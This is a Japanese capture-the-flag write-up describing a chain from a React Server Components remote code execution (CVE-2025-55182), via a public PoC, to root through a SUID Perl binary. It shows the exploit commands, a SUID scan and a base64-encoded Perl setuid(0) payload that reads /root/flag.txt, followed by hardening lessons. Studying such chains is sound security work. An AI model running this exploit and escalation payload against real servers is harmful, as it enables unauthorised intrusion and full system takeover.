
[First-Blood-XO] React Server Component エンドポイントは CVE-2025-55182 (RCE) に対して脆弱 → SUIDバイナリを列挙 → /usr/bin/perl に SUID が設定されていた → Perl の POSIX setuid(0) を使用してrootに昇格 → /root/flag.txt を読み取った
カテゴリ: Web Exploitation | 難易度: Medium | 脆弱性: Remote Code Execution → SUID 権限昇格
React Server Component のエンドポイントが CVE-2025-55182 (RCE) に対して脆弱 → SUID バイナリを列挙 → /usr/bin/perl に SUID が設定されていた → Perl の POSIX setuid(0) を使用して root に昇格 → /root/flag.txt を読み取り。
フラグ: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
ターゲット: http://challenge.cybermesh.site:30035/
ターゲットは React ベースの Web アプリケーションであり、React Server Components (RSC) を活用していた。これは比較的新しいアーキテクチャで、コンポーネントをサーバー側で実行し、カスタムワイヤフォーマットを介してシリアライズされた出力をクライアントにストリーミングする。
このアーキテクチャはサーバー側の実行境界を導入する。その境界での不適切な入力処理が、まさに CVE-2025-55182 が悪用する点である。
React Server Components RCE — サーバーは、ユーザー制御の入力がサーバー側のコンポーネント実行レイヤーに到達する前にサニタイズするのに失敗する。これにより、攻撃者は Node.js プロセスのコンテキストで実行される OS レベルのシェルコマンドを注入できる。
攻撃フロー:
この CVE に対する公開 PoC が存在する:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
初期検証 — RCE と実行コンテキストの確認:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
出力:
[+] EXPLOITATION SUCCESSFUL
► app
サーバーはユーザー app として実行されている。root ではない — 昇格が必要。
SUID バイナリのスキャン:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
出力:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl には SUID ビットが設定されている。これはよく知られた GTFOBin である — Perl が root によって所有され SUID である場合、誰が起動しても root 権限で実行される。
以下の処理を行う base64 エンコードされた Perl ペイロードを構築:
POSIX::setuid(0) を呼び出して root に昇格/root/flag.txt を開いて読み取りRCE エンドポイントを通じて送信:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
デコードされたペイロードはおおよそ以下の通り:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
出力:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. RSC の攻撃対象領域は過小評価されている。
React Server Components は新しいパラダイムである。多くのデプロイメントでは、サーバーコンポーネント境界での入力インジェクションに対する堅牢化が行われていない。この CVE は、「サーバーサイドレンダリング」が本質的に安全ではないこと、実行境界には依然として適切なサニタイズが必要であることを思い出させる。
2. スクリプトランタイムへの SUID = 瞬時の root 昇格。
SUID が設定された /usr/bin/perl は典型的な設定ミスである。GTFOBins で詳細にカバーされている。スクリプト言語 (Perl, Python, Ruby など) に SUID ビットを決して設定してはならない — SUID 用に設計されたコンパイル済みバイナリ (su, passwd) とは異なり、これらのランタイムは簡単な昇格経路を提供する。
3. フラグは自己認識型である。
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — このチャレンジは、意図された昇格経路として SUID Perl を中心に明示的に設計されている。クリーンなチェーン。
CVE-2025-55182 (RSC RCE)
└─> whoami → user "app"
└─> find SUID binaries
└─> /usr/bin/perl (SUID root) identified
└─> base64 Perl payload → write to /tmp/p.pl
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
執筆: Abdullah Maqbool — Penetration Testing Engineer @ TISS | CRTA · CRTOM · CompTIA PenTest+